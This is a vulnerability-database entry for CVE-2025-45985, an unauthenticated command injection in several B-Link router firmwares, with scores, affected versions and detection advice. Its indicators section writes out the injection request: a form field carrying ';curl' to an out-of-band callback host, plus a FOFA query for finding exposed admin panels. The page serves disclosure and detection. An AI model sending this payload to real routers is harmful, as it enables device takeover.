CVE-2025-45985

published 2025-06-13

CVE-2025-45985: Blink routers BL-WR9000 V2.4.9 , BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 v1.0.5 , BL-LTE300 v1.2.3, BL-F1200_AT1 v1.0.0, BL-X26_AC8 v1.2.8, BLAC450M_AE4 v4.0.0 and…

Priority P1 83 critical 9.8 CVSS 3.1

AV N AC L PR N UI N S U C H I H A H

ITW EXPLOIT VulnCheck KEV

Blink routers BL-WR9000 V2.4.9 , BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 v1.0.5 , BL-LTE300 v1.2.3, BL-F1200_AT1 v1.0.0, BL-X26_AC8 v1.2.8, BLAC450M_AE4 v4.0.0 and BL-X26_DA3 v1.2.7 were discovered to contain a command injection vulnerability via the bs_SetSSIDHide function.

Affected

8 ranges

Vendor	Product	Version range	Fixed in
b-link	bl-ac2100_az3_firmware	—	—
b-link	bl-f1200_at1_firmware	—	—
b-link	bl-lte300_firmware	—	—
b-link	bl-wr9000_firmware	—	—
b-link	bl-x10_ac8_firmware	—	—
b-link	bl-x26_ac8_firmware	—	—
b-link	bl-x26_da3_firmware	—	—
b-link	blac450m_ae4_firmware	—	—

Detection & IOCs extracted from sources · hover to see the quote

url /goform/set_hidessid_cfg↗

command type=sethide2&enable=";curl {{interactsh-url}};"↗

cookie platform=0; user=admin↗

• → Detect POST requests to /goform/set_hidessid_cfg with shell metacharacters (e.g., semicolons, quotes) in the 'enable' parameter, indicating command injection attempts via bs_SetSSIDHide. ↗
• → Successful exploitation returns a JSON body containing both '"type":' and '"result":' fields with HTTP 200; monitor for these response patterns on the targeted endpoint. ↗
• → Use FOFA query title="B-LINK" to identify exposed Blink router admin panels on the internet that may be vulnerable. ↗
• → The vulnerability is unauthenticated (PR:N); no valid session or credentials are required. The cookie 'platform=0; user=admin' is sent but exploitation does not depend on authenticated access. ↗
• → Monitor for out-of-band DNS/HTTP callbacks (e.g., via interactsh) originating from router management IPs, which confirm successful command injection via the enable parameter. ↗

• · Affected firmware versions are specifically enumerated; detection should be scoped to these versions: BL-WR9000 V2.4.9, BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 v1.0.5, BL-LTE300 v1.2.3, BL-F1200_AT1 v1.0.0, BL-X26_AC8 v1.2.8, BLAC450M_AE4 v4.0.0, BL-X26_DA3 v1.2.7. ↗
• · The Nuclei template requires only 1 HTTP request (max-request: 1) and relies on out-of-band DNS interaction for confirmation; purely passive/inline detection without OOB infrastructure may miss successful exploitation. ↗

CVSS provenance

nvd v3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

vulncheck 9.8 CRITICAL

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-77